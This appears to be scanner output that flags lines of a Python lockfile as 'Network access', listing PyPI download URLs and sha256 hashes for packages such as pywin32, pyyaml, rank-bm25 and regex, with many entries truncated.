wheels = [ { url = "https://files.pythonhosted.org/packages/e1/04/e8135ebd1ad02c56ec633277529b2602ff99ff634be76cdba5744cf554fd/python_multipart-0.0.32-py3-none-any.whl", hash = "sha256:ff6d3f776f16878c894e52e107296ffc890e913c611b1a4ec6c - Network accessline 2327
{ url = "https://files.pythonhosted.org/packages/e1/04/e8135ebd1ad02c56ec633277529b2602ff99ff634be76cdba5744cf554fd/python_multipart-0.0.32-py3-none-any.whl", hash = "sha256:ff6d3f776f16878c894e52e107296ffc890e913c611b1a4ec6c44e2821fe2e23", - Network accessline 2331
name = "pywin32" version = "311" source = { registry = "https://pypi.org/simple" } - Network accessline 2332
version = "311" source = { registry = "https://pypi.org/simple" } wheels = [ - Network accessline 2333
source = { registry = "https://pypi.org/simple" } - Network accessline 2334
wheels = [ { url = "https://files.pythonhosted.org/packages/e7/ab/01ea1943d4eba0f850c3c61e78e8dd59757ff815ff3ccd0a84de5f541f42/pywin32-311-cp312-cp312-win32.whl", hash = "sha256:750ec6e621af2b948540032557b10a2d43b0cee2ae9758c54154d711cc - Network accessline 2335
{ url = "https://files.pythonhosted.org/packages/e7/ab/01ea1943d4eba0f850c3c61e78e8dd59757ff815ff3ccd0a84de5f541f42/pywin32-311-cp312-cp312-win32.whl", hash = "sha256:750ec6e621af2b948540032557b10a2d43b0cee2ae9758c54154d711cc852d31", size = - Network accessline 2336
{ url = "https://files.pythonhosted.org/packages/d1/a8/a0e8d07d4d051ec7502cd58b291ec98dcc0c3fff027caad0470b72cfcc2f/pywin32-311-cp312-cp312-win_amd64.whl", hash = "sha256:b8c095edad5c211ff31c05223658e71bf7116daa0ecf3ad85f3201ea3190d067", si - Network accessline 2337
{ url = "https://files.pythonhosted.org/packages/ba/3a/2ae996277b4b50f17d61f0603efd8253cb2d79cc7ae159468007b586396d/pywin32-311-cp312-cp312-win_arm64.whl", hash = "sha256:e286f46a9a39c4a18b319c28f59b61de793654af2f395c102b4f819e584b5852", si - Network accessline 2338
{ url = "https://files.pythonhosted.org/packages/a5/be/3fd5de0979fcb3994bfee0d65ed8ca9506a8a1260651b86174f6a86f52b3/pywin32-311-cp313-cp313-win32.whl", hash = "sha256:f95ba5a847cba10dd8c4d8fefa9f2a6cf283b8b88ed6178fa8a6c1ab16054d0d", size = - Network accessline 2339
{ url = "https://files.pythonhosted.org/packages/e3/28/e0a1909523c6890208295a29e05c2adb2126364e289826c0a8bc7297bd5c/pywin32-311-cp313-cp313-win_amd64.whl", hash = "sha256:718a38f7e5b058e76aee1c56ddd06908116d35147e133427e59a3983f703a20d", si - Network accessline 2340
{ url = "https://files.pythonhosted.org/packages/04/bf/90339ac0f55726dce7d794e6d79a18a91265bdf3aa70b6b9ca52f35e022a/pywin32-311-cp313-cp313-win_arm64.whl", hash = "sha256:7b4075d959648406202d92a2310cb990fea19b535c7f4a78d3f5e10b926eeb8a", si - Network accessline 2341
{ url = "https://files.pythonhosted.org/packages/c9/31/097f2e132c4f16d99a22bfb777e0fd88bd8e1c634304e102f313af69ace5/pywin32-311-cp314-cp314-win32.whl", hash = "sha256:b7a2c10b93f8986666d0c803ee19b5990885872a7de910fc460f9b0c2fbf92ee", size = - Network accessline 2342
{ url = "https://files.pythonhosted.org/packages/90/4b/07c77d8ba0e01349358082713400435347df8426208171ce297da32c313d/pywin32-311-cp314-cp314-win_amd64.whl", hash = "sha256:3aca44c046bd2ed8c90de9cb8427f581c479e594e99b5c0bb19b29c10fd6cb87", si - Network accessline 2343
{ url = "https://files.pythonhosted.org/packages/c0/d2/21af5c535501a7233e734b8af901574572da66fcc254cb35d0609c9080dd/pywin32-311-cp314-cp314-win_arm64.whl", hash = "sha256:a508e2d9025764a8270f93111a970e1d0fbfc33f4153b388bb649b7eec4f9b42", si - Network accessline 2347
name = "pywin32-ctypes" version = "0.2.3" source = { registry = "https://pypi.org/simple" } - Network accessline 2348
version = "0.2.3" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/85/9f/01a1a99704853cb63f253eea009390c88e7131c67e66a0a02099a8c917cb/pywin32-ctypes-0.2.3.tar.gz", hash = "sha256:d16 - Network accessline 2349
source = { registry = "https://pypi.org/simple" } - Network accessline 2350
sdist = { url = "https://files.pythonhosted.org/packages/85/9f/01a1a99704853cb63f253eea009390c88e7131c67e66a0a02099a8c917cb/pywin32-ctypes-0.2.3.tar.gz", hash = "sha256:d162dc04946d704503b2edc4d55f3dba5c1d539ead017afa00142c38b9885755", size - Network accessline 2351
wheels = [ { url = "https://files.pythonhosted.org/packages/de/3d/8161f7711c017e01ac9f008dfddd9410dff3674334c233bde66e7ba65bbf/pywin32_ctypes-0.2.3-py3-none-any.whl", hash = "sha256:8a1513379d709975552d202d942d9837758905c8d01eb82b8bcc30 - Network accessline 2352
{ url = "https://files.pythonhosted.org/packages/de/3d/8161f7711c017e01ac9f008dfddd9410dff3674334c233bde66e7ba65bbf/pywin32_ctypes-0.2.3-py3-none-any.whl", hash = "sha256:8a1513379d709975552d202d942d9837758905c8d01eb82b8bcc30918929e7b8", si - Network accessline 2356
name = "pyyaml" version = "6.0.3" source = { registry = "https://pypi.org/simple" } - Network accessline 2357
version = "6.0.3" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/05/8e/961c0007c59b8dd7729d542c61a4d537767a59645b82a0b521206e1e25c2/pyyaml-6.0.3.tar.gz", hash = "sha256:d7662337342 - Network accessline 2358
source = { registry = "https://pypi.org/simple" } - Network accessline 2359
sdist = { url = "https://files.pythonhosted.org/packages/05/8e/961c0007c59b8dd7729d542c61a4d537767a59645b82a0b521206e1e25c2/pyyaml-6.0.3.tar.gz", hash = "sha256:d76623373421df22fb4cf8817020cbb7ef15c725b9d5e45f17e189bfc384190f", size = 13096 - Network accessline 2360
wheels = [ { url = "https://files.pythonhosted.org/packages/d1/33/422b98d2195232ca1826284a76852ad5a86fe23e31b009c9886b2d0fb8b2/pyyaml-6.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7f047e29dcae44602496db43be01ad42fc6f1cc0d8c - Network accessline 2361
{ url = "https://files.pythonhosted.org/packages/d1/33/422b98d2195232ca1826284a76852ad5a86fe23e31b009c9886b2d0fb8b2/pyyaml-6.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7f047e29dcae44602496db43be01ad42fc6f1cc0d8cd6c83d342306c32 - Network accessline 2362
{ url = "https://files.pythonhosted.org/packages/89/a0/6cf41a19a1f2f3feab0e9c0b74134aa2ce6849093d5517a0c550fe37a648/pyyaml-6.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:fc09d0aa354569bc501d4e787133afc08552722d3ab34836a80547331bb5 - Network accessline 2363
{ url = "https://files.pythonhosted.org/packages/ed/23/7a778b6bd0b9a8039df8b1b1d80e2e2ad78aa04171592c8a5c43a56a6af4/pyyaml-6.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9149cad251 - Network accessline 2364
{ url = "https://files.pythonhosted.org/packages/65/30/d7353c338e12baef4ecc1b09e877c1970bd3382789c159b4f89d6a70dc09/pyyaml-6.0.3-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5fdec68f91a0c673 - Network accessline 2365
{ url = "https://files.pythonhosted.org/packages/8b/9d/b3589d3877982d4f2329302ef98a8026e7f4443c765c46cfecc8858c6b4b/pyyaml-6.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ba1cc08a7ccde - Network accessline 2366
{ url = "https://files.pythonhosted.org/packages/05/c0/b3be26a015601b822b97d9149ff8cb5ead58c66f981e04fedf4e762f4bd4/pyyaml-6.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8dc52c23056b9ddd46818a57b78404882310fb473d63f17b07d5c404 - Network accessline 2367
{ url = "https://files.pythonhosted.org/packages/be/8e/98435a21d1d4b46590d5459a22d88128103f8da4c2d4cb8f14f2a96504e1/pyyaml-6.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:41715c910c881bc081f1e8872880d3c650acf13dfa8214bad49ed4ced - Network accessline 2368
{ url = "https://files.pythonhosted.org/packages/74/93/7baea19427dcfbe1e5a372d81473250b379f04b1bd3c4c5ff825e2327202/pyyaml-6.0.3-cp312-cp312-win32.whl", hash = "sha256:96b533f0e99f6579b3d4d4995707cf36df9100d67e0c8303a0c55b27b5f99bc5", size - Network accessline 2369
{ url = "https://files.pythonhosted.org/packages/86/bf/899e81e4cce32febab4fb42bb97dcdf66bc135272882d1987881a4b519e9/pyyaml-6.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:5fcd34e47f6e0b794d17de1b4ff496c00986e1c83f7ab2fb8fcfe9616ff7477b", s - Network accessline 2370
{ url = "https://files.pythonhosted.org/packages/1a/08/67bd04656199bbb51dbed1439b7f27601dfb576fb864099c7ef0c3e55531/pyyaml-6.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:64386e5e707d03a7e172c0701abfb7e10f0fb753ee1d773128192742712a98fd", s - Network accessline 2371
{ url = "https://files.pythonhosted.org/packages/d1/11/0fd08f8192109f7169db964b5707a2f1e8b745d4e239b784a5a1dd80d1db/pyyaml-6.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8da9669d359f02c0b91ccc01cac4a67f16afec0dac22c2ad09f46bee06 - Network accessline 2372
{ url = "https://files.pythonhosted.org/packages/b1/16/95309993f1d3748cd644e02e38b75d50cbc0d9561d21f390a76242ce073f/pyyaml-6.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:2283a07e2c21a2aa78d9c4442724ec1eb15f5e42a723b99cb3d822d48f5f - Network accessline 2373
{ url = "https://files.pythonhosted.org/packages/50/31/b20f376d3f810b9b2371e72ef5adb33879b25edb7a6d072cb7ca0c486398/pyyaml-6.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ee2922902c - Network accessline 2374
{ url = "https://files.pythonhosted.org/packages/49/1e/a55ca81e949270d5d4432fbbd19dfea5321eda7c41a849d443dc92fd1ff7/pyyaml-6.0.3-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a33284e20b78bd4a - Network accessline 2375
{ url = "https://files.pythonhosted.org/packages/74/27/e5b8f34d02d9995b80abcef563ea1f8b56d20134d8f4e5e81733b1feceb2/pyyaml-6.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0f29edc409a63 - Network accessline 2376
{ url = "https://files.pythonhosted.org/packages/f9/11/ba845c23988798f40e52ba45f34849aa8a1f2d4af4b798588010792ebad6/pyyaml-6.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f7057c9a337546edc7973c0d3ba84ddcdf0daa14533c2065749c9075 - Network accessline 2377
{ url = "https://files.pythonhosted.org/packages/3d/e0/7966e1a7bfc0a45bf0a7fb6b98ea03fc9b8d84fa7f2229e9659680b69ee3/pyyaml-6.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:eda16858a3cab07b80edaf74336ece1f986ba330fdb8ee0d6c0d68fe8 - Network accessline 2378
{ url = "https://files.pythonhosted.org/packages/de/94/980b50a6531b3019e45ddeada0626d45fa85cbe22300844a7983285bed3b/pyyaml-6.0.3-cp313-cp313-win32.whl", hash = "sha256:d0eae10f8159e8fdad514efdc92d74fd8d682c933a6dd088030f3834bc8e6b26", size - Network accessline 2379
{ url = "https://files.pythonhosted.org/packages/97/c9/39d5b874e8b28845e4ec2202b5da735d0199dbe5b8fb85f91398814a9a46/pyyaml-6.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:79005a0d97d5ddabfeeea4cf676af11e647e41d81c9a7722a193022accdb6b7c", s - Network accessline 2380
{ url = "https://files.pythonhosted.org/packages/73/e8/2bdf3ca2090f68bb3d75b44da7bbc71843b19c9f2b9cb9b0f4ab7a5a4329/pyyaml-6.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:5498cd1645aa724a7c71c8f378eb29ebe23da2fc0d7a08071d89469bf1d2defb", s - Network accessline 2381
{ url = "https://files.pythonhosted.org/packages/9d/8c/f4bd7f6465179953d3ac9bc44ac1a8a3e6122cf8ada906b4f96c60172d43/pyyaml-6.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:8d1fab6bb153a416f9aeb4b8763bc0f22a5586065f86f7664fc23339fc - Network accessline 2382
{ url = "https://files.pythonhosted.org/packages/bd/9c/4d95bb87eb2063d20db7b60faa3840c1b18025517ae857371c4dd55a6b3a/pyyaml-6.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e9975570 - Network accessline 2383
{ url = "https://files.pythonhosted.org/packages/92/b5/47e807c2623074914e29dabd16cbbdd4bf5e9b2db9f8090fa64411fc5382/pyyaml-6.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:501a031947 - Network accessline 2384
{ url = "https://files.pythonhosted.org/packages/02/9e/e5e9b168be58564121efb3de6859c452fccde0ab093d8438905899a3a483/pyyaml-6.0.3-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b3bc83488de33889 - Network accessline 2385
{ url = "https://files.pythonhosted.org/packages/88/f9/16491d7ed2a919954993e48aa941b200f38040928474c9e85ea9e64222c3/pyyaml-6.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c458b6d084f9b - Network accessline 2386
{ url = "https://files.pythonhosted.org/packages/dd/3f/5989debef34dc6397317802b527dbbafb2b4760878a53d4166579111411e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7c6610def4f163542a622a73fb39f534f8c101d690126992300bf320 - Network accessline 2387
{ url = "https://files.pythonhosted.org/packages/d7/ce/af88a49043cd2e265be63d083fc75b27b6ed062f5f9fd6cdc223ad62f03e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5190d403f121660ce8d1d2c1bb2ef1bd05b5f68533fc5c2ea899bd15f - Network accessline 2388
{ url = "https://files.pythonhosted.org/packages/23/20/bb6982b26a40bb43951265ba29d4c246ef0ff59c9fdcdf0ed04e0687de4d/pyyaml-6.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:4a2e8cebe2ff6ab7d1050ecd59c25d4c8bd7e6f400f5f82b96557ac0abafd0ac", s - Network accessline 2389
{ url = "https://files.pythonhosted.org/packages/f4/f4/a4541072bb9422c8a883ab55255f918fa378ecf083f5b85e87fc2b4eda1b/pyyaml-6.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:93dda82c9c22deb0a405ea4dc5f2d0cda384168e466364dec6255b293923b2f3", s - Network accessline 2390
{ url = "https://files.pythonhosted.org/packages/7c/f9/07dd09ae774e4616edf6cda684ee78f97777bdd15847253637a6f052a62f/pyyaml-6.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:02893d100e99e03eda1c8fd5c441d8c60103fd175728e23e431db1b58 - Network accessline 2391
{ url = "https://files.pythonhosted.org/packages/4e/78/8d08c9fb7ce09ad8c38ad533c1191cf27f7ae1effe5bb9400a46d9437fcf/pyyaml-6.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c1ff362665ae507275af2853520967820d9124984e0f7466736aea23d86 - Network accessline 2392
{ url = "https://files.pythonhosted.org/packages/7b/5b/3babb19104a46945cf816d047db2788bcaf8c94527a805610b0289a01c6b/pyyaml-6.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6adc77889 - Network accessline 2393
{ url = "https://files.pythonhosted.org/packages/8b/cc/dff0684d8dc44da4d22a13f35f073d558c268780ce3c6ba1b87055bb0b87/pyyaml-6.0.3-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a80cb027f6b3498 - Network accessline 2394
{ url = "https://files.pythonhosted.org/packages/b1/5e/f77dc6b9036943e285ba76b49e118d9ea929885becb0a29ba8a7c75e29fe/pyyaml-6.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:00c4bdeba853 - Network accessline 2395
{ url = "https://files.pythonhosted.org/packages/ce/88/a9db1376aa2a228197c58b37302f284b5617f56a5d959fd1763fb1675ce6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:66e1674c3ef6f541c35191caae2d429b967b99e02040f5ba928632d - Network accessline 2396
{ url = "https://files.pythonhosted.org/packages/da/92/1446574745d74df0c92e6aa4a7b0b3130706a4142b2d1a5869f2eaa423c6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:16249ee61e95f858e83976573de0f5b2893b3677ba71c9dd36b9cf8b - Network accessline 2397
{ url = "https://files.pythonhosted.org/packages/f0/7a/1c7270340330e575b92f397352af856a8c06f230aa3e76f86b39d01b416a/pyyaml-6.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4ad1906908f2f5ae4e5a8ddfce73c320c2a1429ec52eafd27138b7f1cbe341c9", - Network accessline 2398
{ url = "https://files.pythonhosted.org/packages/f1/12/de94a39c2ef588c7e6455cfbe7343d3b2dc9d6b6b2f40c4c6565744c873d/pyyaml-6.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:ebc55a14a21cb14062aa4162f906cd962b28e2e9ea38f9b4391244cd8de4ae0b", - Network accessline 2402
name = "rank-bm25" version = "0.2.2" source = { registry = "https://pypi.org/simple" } - Network accessline 2403
version = "0.2.2" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 2404
source = { registry = "https://pypi.org/simple" } - Network accessline 2406
{ name = "numpy" }, ] sdist = { url = "https://files.pythonhosted.org/packages/fc/0a/f9579384aa017d8b4c15613f86954b92a95a93d641cc849182467cf0bb3b/rank_bm25-0.2.2.tar.gz", hash = "sha256:096ccef76f8188563419aaf384a02f0ea459503fdf77901378d4fd - Network accessline 2407
] sdist = { url = "https://files.pythonhosted.org/packages/fc/0a/f9579384aa017d8b4c15613f86954b92a95a93d641cc849182467cf0bb3b/rank_bm25-0.2.2.tar.gz", hash = "sha256:096ccef76f8188563419aaf384a02f0ea459503fdf77901378d4fd9d87e5e51d", size = - Network accessline 2408
sdist = { url = "https://files.pythonhosted.org/packages/fc/0a/f9579384aa017d8b4c15613f86954b92a95a93d641cc849182467cf0bb3b/rank_bm25-0.2.2.tar.gz", hash = "sha256:096ccef76f8188563419aaf384a02f0ea459503fdf77901378d4fd9d87e5e51d", size = 83 - Network accessline 2409
wheels = [ { url = "https://files.pythonhosted.org/packages/2a/21/f691fb2613100a62b3fa91e9988c991e9ca5b89ea31c0d3152a3210344f9/rank_bm25-0.2.2-py3-none-any.whl", hash = "sha256:7bd4a95571adadfc271746fa146a4bcfd89c0cf731e49c3d1ad863290ad - Network accessline 2410
{ url = "https://files.pythonhosted.org/packages/2a/21/f691fb2613100a62b3fa91e9988c991e9ca5b89ea31c0d3152a3210344f9/rank_bm25-0.2.2-py3-none-any.whl", hash = "sha256:7bd4a95571adadfc271746fa146a4bcfd89c0cf731e49c3d1ad863290adbe8ae", size = - Network accessline 2414
name = "readme-renderer" version = "44.0" source = { registry = "https://pypi.org/simple" } - Network accessline 2415
version = "44.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 2416
source = { registry = "https://pypi.org/simple" } - Network accessline 2420
{ name = "pygments" }, ] sdist = { url = "https://files.pythonhosted.org/packages/5a/a9/104ec9234c8448c4379768221ea6df01260cd6c2ce13182d4eac531c8342/readme_renderer-44.0.tar.gz", hash = "sha256:8712034eabbfa6805cacf1402b4eeb2a73028f72d1166d - Network accessline 2421
] sdist = { url = "https://files.pythonhosted.org/packages/5a/a9/104ec9234c8448c4379768221ea6df01260cd6c2ce13182d4eac531c8342/readme_renderer-44.0.tar.gz", hash = "sha256:8712034eabbfa6805cacf1402b4eeb2a73028f72d1166d6f5cb7f9c047c5d1e1", si - Network accessline 2422
sdist = { url = "https://files.pythonhosted.org/packages/5a/a9/104ec9234c8448c4379768221ea6df01260cd6c2ce13182d4eac531c8342/readme_renderer-44.0.tar.gz", hash = "sha256:8712034eabbfa6805cacf1402b4eeb2a73028f72d1166d6f5cb7f9c047c5d1e1", size - Network accessline 2423
wheels = [ { url = "https://files.pythonhosted.org/packages/e1/67/921ec3024056483db83953ae8e48079ad62b92db7880013ca77632921dd0/readme_renderer-44.0-py3-none-any.whl", hash = "sha256:2fbca89b81a08526aadf1357a8c2ae889ec05fb03f5da67f9769c9 - Network accessline 2424
{ url = "https://files.pythonhosted.org/packages/e1/67/921ec3024056483db83953ae8e48079ad62b92db7880013ca77632921dd0/readme_renderer-44.0-py3-none-any.whl", hash = "sha256:2fbca89b81a08526aadf1357a8c2ae889ec05fb03f5da67f9769c9a592166151", si - Network accessline 2428
name = "referencing" version = "0.37.0" source = { registry = "https://pypi.org/simple" } - Network accessline 2429
version = "0.37.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 2430
source = { registry = "https://pypi.org/simple" } - Network accessline 2434
{ name = "typing-extensions", marker = "python_full_version < '3.13'" }, ] sdist = { url = "https://files.pythonhosted.org/packages/22/f5/df4e9027acead3ecc63e50fe1e36aca1523e1719559c499951bb4b53188f/referencing-0.37.0.tar.gz", hash = "sha25 - Network accessline 2435
] sdist = { url = "https://files.pythonhosted.org/packages/22/f5/df4e9027acead3ecc63e50fe1e36aca1523e1719559c499951bb4b53188f/referencing-0.37.0.tar.gz", hash = "sha256:44aefc3142c5b842538163acb373e24cce6632bd54bdb01b21ad5863489f50d8", size - Network accessline 2436
sdist = { url = "https://files.pythonhosted.org/packages/22/f5/df4e9027acead3ecc63e50fe1e36aca1523e1719559c499951bb4b53188f/referencing-0.37.0.tar.gz", hash = "sha256:44aefc3142c5b842538163acb373e24cce6632bd54bdb01b21ad5863489f50d8", size = - Network accessline 2437
wheels = [ { url = "https://files.pythonhosted.org/packages/2c/58/ca301544e1fa93ed4f80d724bf5b194f6e4b945841c5bfd555878eea9fcb/referencing-0.37.0-py3-none-any.whl", hash = "sha256:381329a9f99628c9069361716891d34ad94af76e461dcb0335825aec - Network accessline 2438
{ url = "https://files.pythonhosted.org/packages/2c/58/ca301544e1fa93ed4f80d724bf5b194f6e4b945841c5bfd555878eea9fcb/referencing-0.37.0-py3-none-any.whl", hash = "sha256:381329a9f99628c9069361716891d34ad94af76e461dcb0335825aecc7692231", size - Network accessline 2442
name = "regex" version = "2026.5.9" source = { registry = "https://pypi.org/simple" } - Network accessline 2443
version = "2026.5.9" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/dc/0e/49aee608ad09480e7fd276898c99ec6192985fa331abe4eb3a986094490b/regex-2026.5.9.tar.gz", hash = "sha256:a8234a - Network accessline 2444
source = { registry = "https://pypi.org/simple" } - Network accessline 2445
sdist = { url = "https://files.pythonhosted.org/packages/dc/0e/49aee608ad09480e7fd276898c99ec6192985fa331abe4eb3a986094490b/regex-2026.5.9.tar.gz", hash = "sha256:a8234aa23ec39894bfe4a3f1b85616a7032481964a13ac6fc9f10de4f6fca270", size = 416 - Network accessline 2446
wheels = [ { url = "https://files.pythonhosted.org/packages/50/9b/6550044bc44e17c84d312c031c2ec42fbdb6a4ec4e29093be3a172d08772/regex-2026.5.9-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:57eeeb05db7979413dec5438f2db21d7ecbba - Network accessline 2447
{ url = "https://files.pythonhosted.org/packages/50/9b/6550044bc44e17c84d312c031c2ec42fbdb6a4ec4e29093be3a172d08772/regex-2026.5.9-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:57eeeb05db7979413dec5438f2db21d7ecbba787cde7a711df1a - Network accessline 2448
{ url = "https://files.pythonhosted.org/packages/1e/95/fc7ba4303b5a0f92446a12ee6778ef2c6c799233f5060042a31bf390cfe9/regex-2026.5.9-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:398c521292f4c7fb807001dcd54694d3a1fcafc179a36ad9cc56f98d - Network accessline 2449
{ url = "https://files.pythonhosted.org/packages/54/4b/ee27938d1b2c443e89a9a10e00d2d19aa5ee300cd3d61140644e93bb083e/regex-2026.5.9-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:f7a7c26137296beba7784de6eba69c6a93a63ccebc385e4962fe67e267 - Network accessline 2450
{ url = "https://files.pythonhosted.org/packages/d8/dd/ba103dc19614e25f3880800ca67ce093d6e21b325d72b8383c7bf906e9fa/regex-2026.5.9-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6441cc66 - Network accessline 2451
{ url = "https://files.pythonhosted.org/packages/cf/e7/f035b4fd858b050b0080bf302968dc0f59ba34e391872d54936758e6844e/regex-2026.5.9-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:91328f1c - Network accessline 2452
{ url = "https://files.pythonhosted.org/packages/0a/51/8cd301ecc899aea28124357f729f4272f44de7806fc7ca02490bfbe253e8/regex-2026.5.9-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:93a7860539414d - Network accessline 2453
{ url = "https://files.pythonhosted.org/packages/cc/1e/3fbe2fa1e8cebd62f3bb7d3321cff1640aca2e240b51d9bd624aad949260/regex-2026.5.9-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:dd2810d2214 - Network accessline 2454
{ url = "https://files.pythonhosted.org/packages/17/2f/6f6008682bf2cf98040a0d3153a8e557b6ab728d7713d045cee4ce544ab8/regex-2026.5.9-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:daff2bdbaf1d23e52fdff7c0b7bc20 - Network accessline 2455
{ url = "https://files.pythonhosted.org/packages/19/2b/eee0d20a6842ba04df4b8847a920b57ef56853f14ef85405473e586b605a/regex-2026.5.9-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:4eeb011098fcb77af513dcef521a3dbecbf8849b1e38940759d293 - Network accessline 2456
{ url = "https://files.pythonhosted.org/packages/4a/98/6fc1e6410feefb92159edaed5041992bfe390e8d26c721865434acbca558/regex-2026.5.9-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:ea9c8ecfa1b73c73b626534d6626e5340d429630943672b8480724 - Network accessline 2457
{ url = "https://files.pythonhosted.org/packages/18/a3/bd855e0f2cb1a978ecf6fa6bb69632dd9c3f6ea3b81cde62fde14c9daec7/regex-2026.5.9-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:cd2846168eb9ee3c513902bc8225409cb1caab31d04728b145171f - Network accessline 2458
{ url = "https://files.pythonhosted.org/packages/dc/66/0ae8c092e60b14c79d24f8e0b7f0aea5bfbffdcab00b5483d13404d3c3a5/regex-2026.5.9-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:39617fb0cde9c0e6306dc70e3bfc096f3da793219879f7ae7aa341a6 - Network accessline 2459
{ url = "https://files.pythonhosted.org/packages/21/de/8dfde60fc1b21c946a893ba273403b72617edb261370cb1087099a83f088/regex-2026.5.9-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fd03c4f0e33280d15cae17159b899245d6b7c53d21def19b263b396 - Network accessline 2460
{ url = "https://files.pythonhosted.org/packages/c3/1c/bdcc98f9a4af4fdd166c74941174619ccff4726d3ce32faa8e9a2ecd38dd/regex-2026.5.9-cp312-cp312-win32.whl", hash = "sha256:164eba9b755ea6f244b0d881196fbc1fac09714e9782c9e2732b813142033c8e", siz - Network accessline 2461
{ url = "https://files.pythonhosted.org/packages/78/87/240d36864f9e48ace85f72e79ced97ceb7f27ce87739a947dcb834b4e6bc/regex-2026.5.9-cp312-cp312-win_amd64.whl", hash = "sha256:86f40a5d6444db30a125c9c9177e6b25dad981cbc37451fd838f145e6edac92e", - Network accessline 2462
{ url = "https://files.pythonhosted.org/packages/4f/b5/7b30f312b0669dff5beebe5b0989dc2d1a312b1a44fab852199c387a5b96/regex-2026.5.9-cp312-cp312-win_arm64.whl", hash = "sha256:96f5f58b54a063d7ea9dca08e1cf57bfe10499c4d579ee672da284f57f5f0070", - Network accessline 2463
{ url = "https://files.pythonhosted.org/packages/aa/da/797e91ecec6f84135da778ddce78c20e0af5d2a15c26f87a81bc3eadb6db/regex-2026.5.9-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:d626b84406444b165fc0ba981604edea39f0588ff1f92baa23fe - Network accessline 2464
{ url = "https://files.pythonhosted.org/packages/44/da/bf30abaaa737b58f4a4b8c4a03659e02fd92092c822e0197ed9e0daab917/regex-2026.5.9-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:d7bdc0ab8f3dd7e1b4f9ab88634e13374669db86bb3c72e8292f07ae - Network accessline 2465
